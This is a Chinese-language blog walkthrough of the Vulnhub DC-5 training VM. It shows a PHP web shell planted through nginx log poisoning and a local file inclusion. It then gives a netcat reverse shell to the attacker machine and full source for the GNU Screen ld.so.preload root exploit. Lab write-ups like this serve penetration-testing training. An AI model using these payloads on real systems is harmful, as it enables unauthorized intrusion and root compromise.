Vulnhub靶机DC系列-DC5
title: Vulnhub靶机DC系列-DC5
abbrlink: aa142498
date: 2022-09-11 11:02:21
tags: Vulnhub
靶场信息
- Name: DC: 5
- Date release: 21 Apr 2019
- Author: DCAU
- Series: DC
- Web page: http://www.five86.com/dc-5.html
靶场描述
DC-5 是另一个专门建造的易受攻击的实验室,旨在获得渗透测试领域的经验。
计划是让 DC-5 提高一个档次,所以这对初学者来说可能不是很好,但对于有中级或更好经验的人来说应该没问题。时间会证明一切(反馈也会如此)。
据我所知,只有一个可利用的入口点可以进入(也没有 SSH)。这个特定的入口点可能很难识别,但它就在那里。您需要寻找一些与众不同的东西(随着页面的刷新而改变的东西)。这有望为漏洞可能涉及的内容提供某种想法。
只是为了记录,没有涉及 phpmailer 漏洞利用。:-)
这一挑战的最终目标是获得根并阅读唯一的标志。
必须具备 Linux 技能和熟悉 Linux 命令行,以及一些基本渗透测试工具的经验。
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7 上给我发推文,寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。
但如果你真的,真的被卡住了,你可以观看这个展示第一步的视频。
技术信息
DC-5 是基于 Debian 64 位构建的 VirtualBox VM,但在大多数 PC 上运行它应该没有任何问题。
我已经在 VMWare Player 上对此进行了测试,但如果在 VMware 中运行此 VM 有任何问题,请通读此内容。
它当前配置为桥接网络,但是,可以根据您的要求进行更改。网络配置为 DHCP。
安装很简单 - 下载它,解压缩,然后将它导入 VirtualBox 或 VMWare,然后就可以了。
开始
存活主机
dc-5 : 192.168.169.230
kali : 192.168.169.220
扫描IP
- 80 先放访问下网页
网页
扫一下目录
- 安装工具
apt-get install dirsearch
- 扫描
dirsearch -u http://192.168.169.230/
- 访问目录
这个目录每次刷新日期都会变化
并且thankyou.php包含了footer.php页面,尝试使用文件包含漏洞
- 随便写点东西 提交,bp抓包
- 传入一句话
<?php @eval($_POST['111']);?>
- nginx 日志
http://192.168.169.230/thankyou.php?file=/var/log/nginx/error.log
- 连接一句话
nc监听
kali :
nc -lvnp 4444
DC - 5
nc 192.168.169.220 4444 -e /bin/sh
- 反弹shell
python -c 'import pty;pty.spawn("/bin/bash")'
寻找带权限的文件夹
find / -perm -u=s -type f 2>/dev/null
Screen是一个全屏窗口管理器,它在多个进程(通常是交互式shell)之间多路传输物理终端。每个虚拟终端提供DEC VT100终端的功能,以及ANSI X3的几个控制功能。64(ISO 6429)和ISO 2022标准(例如,插入/删除行和支持多个字符集)。每个虚拟终端都有一个回滚历史缓冲区和一个复制粘贴机制,允许用户在窗口之间移动文本区域。当调用screen时,它会创建一个包含shell(或指定命令)的窗口,然后避开您的方式,以便您可以正常使用该程序。然后,您可以随时创建包含其他程序(包括更多shell)的新(全屏)窗口、关闭当前窗口、查看活动窗口列表、打开和关闭输出日志、在窗口之间复制文本、查看滚动历史记录、在窗口之间切换,等等。所有窗口都完全独立运行其程序。当窗口当前不可见时,甚至当整个屏幕会话与用户终端分离时,程序仍继续运行。
搜索漏洞
这份文档要分成三个部分来看
- 第一部的
新建文件 libhax.c 先将第一部分内容写到 libhax.c 中
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
编译
gcc -fPIC -shared -ldl -o libhax.so libhax.c
- 第二部分
- 新建文件 rootshell.c 第二部分保存到 rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
编译
gcc -o rootshell rootshell.c
- 第三部分
新建 dc5.sh
将最后一部分代码写入dc5.sh文件中。需要注意的是,需要在文件开头写入#!/bin/bash
表示执行环境。最后保存是需要输入:set ff=unix
是为了防止脚本的格式错误。
#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
- 上传